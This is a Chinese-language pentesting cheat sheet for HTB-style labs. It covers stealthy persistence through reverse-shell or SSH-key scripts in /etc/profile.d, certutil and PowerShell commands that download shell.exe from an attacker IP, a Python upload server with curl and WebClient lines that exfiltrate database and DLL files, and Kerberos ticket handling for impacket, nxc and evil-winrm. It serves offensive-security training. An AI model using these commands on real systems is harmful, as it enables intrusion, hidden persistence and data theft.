    • /etc/profile 文件内部通常包含一个逻辑:遍历并执行 /etc/profile.d/ 目录下所有以 .sh 结尾的文件
    • 因此,任何放置在 /etc/profile.d/ 目录下的 .sh 脚本,都会在每个用户登录时自动执行(包括 root 用户通过终端或 SSH 登录) 利用起来也很简单,放置一个反弹shell.sh或者写公钥进去都是简单的操作,注意这个方式及其隐蔽,实战中甚至出现过运维完全无法处理(准确来说是找到)换服务器的情况

小技巧

杀掉进程

taskkill /F /IM shell.exe

编译完毕各版本net工具

https://github.com/mishmashclone/Flangvik-SharpCollection

rubeus票据转换

首先复制到本地去除换行空格 linux换行

sed 's/ //g; :a;N;$!ba;s/\n//g' file

windows换行

tr -d ' ' < test.kirbi.b64 > cleaned.kirbi.b64
tr -d '\r\n' < cleaned.kirbi.b64 > final_ticket.b64

之后bse64解密

base64 -d ticket.kirbi.b64 > ticket.kirbi

转换类型

impacket-ticketConverter ticket.kirbi ticket.ccache

注入票据

export KRB5CCNAME=ticket.ccache

本地全局查找文件

windows-powershell

Get-ChildItem -Path C:\ -Filter user.txt -Recurse -ErrorAction SilentlyContinue

linux

find / -name "flag.txt" 2>/dev/null

递归详细查找隐藏文件

gci -recurse -force -file <文件夹>

传递文件——传文件

base64传文件

linux

先将文件base64

base64 -w0 filename

在本地转义

echo "粘贴你的base64字符串" | base64 -d > filename

windows

本地编码

certutil -encode bypass.dll encoded.txt
certutil -encode CLM_Bypass.exe encoded.txt

传递后解码

certutil -decode encoded.txt c:/user/bypass.dll
certutil -decode encoded.txt c:/user/CLM_Bypass.exe

windows上传文件

cmd
certutil -urlcache -split -f http://你的IP/文件路径 保存路径
certutil -urlcache -split -f http://10.10.16.22/LansweeperDecrypt.ps1 C:\windows\tasks\LansweeperDecrypt.ps1
powershell
Invoke-WebRequest -Uri http://10.10.16.23:4444/shell.exe -OutFile "C:\users\sqlsvc\Documents"
或者
(New-Object System.Net.WebClient).DownloadFile('http://10.10.16.23:4444/shell.exe', 'C:\users\sqlsvc\Documents\shell.exe')

通用反向上传脚本(uploads.py)

#!/usr/bin/env python3
#curl -F "file=@/home/app/app/instance/users.db" http://10.10.16.6/
from http.server import HTTPServer, BaseHTTPRequestHandler
import cgi
import os
import io

PORT = 80
UPLOAD_DIR = "./uploads"

if not os.path.exists(UPLOAD_DIR):
    os.makedirs(UPLOAD_DIR)

class SimpleUploadHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-type", "text/html")
        self.end_headers()
        html = '''
        <html><body>
        <h1>Upload file</h1>
        <form enctype="multipart/form-data" method="post">
          <input name="file" type="file"/>
          <input type="submit" value="Upload"/>
        </form>
        </body></html>
        '''
        self.wfile.write(html.encode('utf-8'))

    def do_POST(self):
        content_type = self.headers.get('content-type')
        if not content_type:
            self.send_response(400)
            self.end_headers()
            self.wfile.write(b"No Content-Type header")
            return

        ctype, pdict = cgi.parse_header(content_type)
        if ctype != 'multipart/form-data':
            self.send_response(400)
            self.end_headers()
            self.wfile.write(b"Content-Type is not multipart/form-data")
            return

        length = int(self.headers.get('content-length'))
        post_data = self.rfile.read(length)  # 读取POST全部数据

        # 用BytesIO包裹post_data以支持FieldStorage读取
        post_io = io.BytesIO(post_data)

        form = cgi.FieldStorage(
            fp=post_io,
            headers=self.headers,
            environ={
                'REQUEST_METHOD': 'POST',
                'CONTENT_TYPE': content_type,
            }
        )

        if 'file' not in form:
            self.send_response(400)
            self.end_headers()
            self.wfile.write(b"No file field in form")
            return

        file_item = form['file']
        if not file_item.filename:
            self.send_response(400)
            self.end_headers()
            self.wfile.write(b"No filename provided")
            return

        filename = os.path.basename(file_item.filename)
        file_data = file_item.file.read()

        filepath = os.path.join(UPLOAD_DIR, filename)
        with open(filepath, 'wb') as f:
            f.write(file_data)

        self.send_response(200)
        self.end_headers()
        self.wfile.write(f"File '{filename}' uploaded successfully\n".encode())

def run():
    server_address = ('', PORT)
    httpd = HTTPServer(server_address, SimpleUploadHandler)
    print(f"Starting server on port {PORT}, saving uploads to {UPLOAD_DIR}")
    httpd.serve_forever()

if __name__ == "__main__":
    run()

使用方式

python3启动后会自动监听80口并且在当前目录下生成uploads文件夹,之后可以利用不同的命令通过linux以及windows连接kali回传文件,适用于大文件以及目标环境特殊没有其他工具之类的,下面是举例命令

linux

curl -F "file=@/home/app/app/instance/users.db" http://10.10.16.6/

windows

$wc = New-Object System.Net.WebClient
$wc.UploadFile("http://10.10.16.30/", "POST", "C:\inetpub\DeviceHealthAttestation\bin\hassrv.dll")

ssh协议传文件

可以将文件传递或者下载,使用就是在前面的文件会被传递到后面的目录当中,跟着服务地址的就是服务端目录或者文件

密码传递

scp root@10.10.110.123:/root/.wackymaker/fscan.txt /home/wackymaker/tmp/prolab/offshare/

私钥传递

scp -i id_rsa root@10.10.110.123:/root/.wackymaker/fscan.txt /home/wackymaker/tmp/prolab/offshare/

smbclient递归下载或上传文件

递归下载

prompt off
之后
recurse true
最后
mget <文件夹>

递归上传本地所有文件

mput *

windows查看文件权限(or文件夹)

先移动到目标文件夹上方
icacls $file

各工具ntlm认证禁用处理方式-kerbores认证

首先都需要请求tgt并导入,可以用impacket包

impacket-getTGT $domain/$user:$pass -dc-ip $ip
impacket-getTGT $domain/$user -hashes :$hash -dc-ip $ip

也可以用nxc

nxc smb $ip -u $user -p $pass -k --generate-tgt $user
export KRB5CCNAME=administrator.ccache

虽然大部分工具只需要导入即可,但还是建议在这种特殊情况时配置/etc/krb5.conf,Kerberos 客户端配置文件,,以下是一个htb靶机当中的示例,更具情况进行修改即可,我会在后续需要用到它的时候标注

# /etc/krb5.conf
[libdefaults]
    # 默认的 Kerberos Realm(必须大写,与 AD 域名一致)
    default_realm = RUSTYKEY.HTB
    
    # 禁用 DNS 查询 Realm(防止 DNS 欺骗或解析问题)
    dns_lookup_realm = false
    
    # 禁用 DNS 查询 KDC(直接使用下面 [realms] 中指定的 IP)
    dns_lookup_kdc = false
    
    # 票据默认有效期(24小时)
    ticket_lifetime = 24h
    
    # 允许票据转发(用于 Pass-the-Ticket 攻击)
    forwardable = true
    
    # 如果目标域使用 AES 加密(而不是 RC4),需要启用
    #default_tkt_enctypes = aes256-cts-hmac-sha1-96 aes128-cts-hmac-sha1-96 rc4-hmac
    #default_tgs_enctypes = aes256-cts-hmac-sha1-96 aes128-cts-hmac-sha1-96 rc4-hmac
    #permitted_enctypes   = aes256-cts-hmac-sha1-96 aes128-cts-hmac-sha1-96 rc4-hmac

[realms]
    # 定义 RUSTYKEY.HTB 域的 KDC(Key Distribution Center)
    RUSTYKEY.HTB = {
        # 主域控制器(Primary Domain Controller)的 IP
        kdc = 10.10.11.75
        
        # 可选:备用域控制器(如果有)
        # admin_server = 10.10.11.76
        
        # 默认域名(可选)
        default_domain = RUSTYKEY.HTB
    }

[domain_realm]
    # 将域名映射到 Kerberos Realm(确保大小写匹配)
    # 所有 .rustykey.htb 子域都会使用 RUSTYKEY.HTB Realm
    .rustykey.htb = RUSTYKEY.HTB
    
    # 主域名映射
    rustykey.htb = RUSTYKEY.HTB

当然,后续我发现了nxc可以做到自动生成

nxc smb $ip -u $user -p $pass -k --generate-krb5-file krb5.conf

impacket包

使用的时候只需要导入票据,在原本使用基础上-k -no-pass,或者不使用 -k -no-pass,单纯使用用户名或者密码进行-k参数也能使用,impacket包会自动完成请求tgt并导入的操作

nxc

导入票据后,在原有命令加上

-k

bloodhound-python

加上参数

导入后使用 -k -no-pass

bloodyad

三种使用方式

第一种,在仅仅导入票据的情况下

-k

第二种,如果你同时提供了 -u(用户名)、-d(域),并加上 -k 与 -p(密码),工具会自动尝试从 KDC 获取一个 TGT。

-k -p 'Password123!'

第三种,带多个关键词和认证文件

例如下
-k kdc=192.168.100.1 realmc=foreign.realm.corp ccache=/home/user/Admin.ccache
如果有需要也可以使用如下字段
kdc=<IP>	指定用于认证的 Kerberos KDC 地址,即你希望发送 TGT/ST 请求的域控制器 IP
ccache=<path>	使用 .ccache 文件作为凭据(如从 impacket-getTGT 或 getST 获得的文件)
kirbi=<path>	使用 .kirbi 格式的 Kerberos 票据
keytab=<path>	使用 .keytab 文件作为认证凭据
pem=<path> / pfx=<path>	使用证书文件进行 Kerberos PKINIT(较高级)
realmc=<REALM>	指定远程主机所在的 外部 realm,用于跨域认证(cross-realm)
kdcc=<IP>	如果是 cross-realm,指定 远程 realm 的 KDC 地址

certipy-ad

正常导入即可

-k -no-pass

evil-winrm 以及 evil-winrm-py

比较恶心的一个,不仅需要指定票据还需要使用配置文件,例如

KRB5CCNAME='svc_winrm.ccache' evil-winrm -i DC.voleur.htb -r VOLEUR.HTB -u 'svc_winrm'

-r VOLEUR.HTB,这个参数需要指向配置文件中的Realm

密码转换ntlm

kali运行命令

iconv -f ASCII -t UTF-16LE <(printf "密码") | openssl dgst -md4

监听交互shell

rlwrap -cAr nc -lnvp 7777

.tar.gz压缩与解压

压缩文件夹中的所有文件

tar -czvf mydata_content.tar.gz -C ~/mydata .

压缩这个文件夹(含目录结构)

tar -czvf mydata.tar.gz ~/mydata

解压

tar -xzvf file.tar.gz

解文件元数据

exiftool filename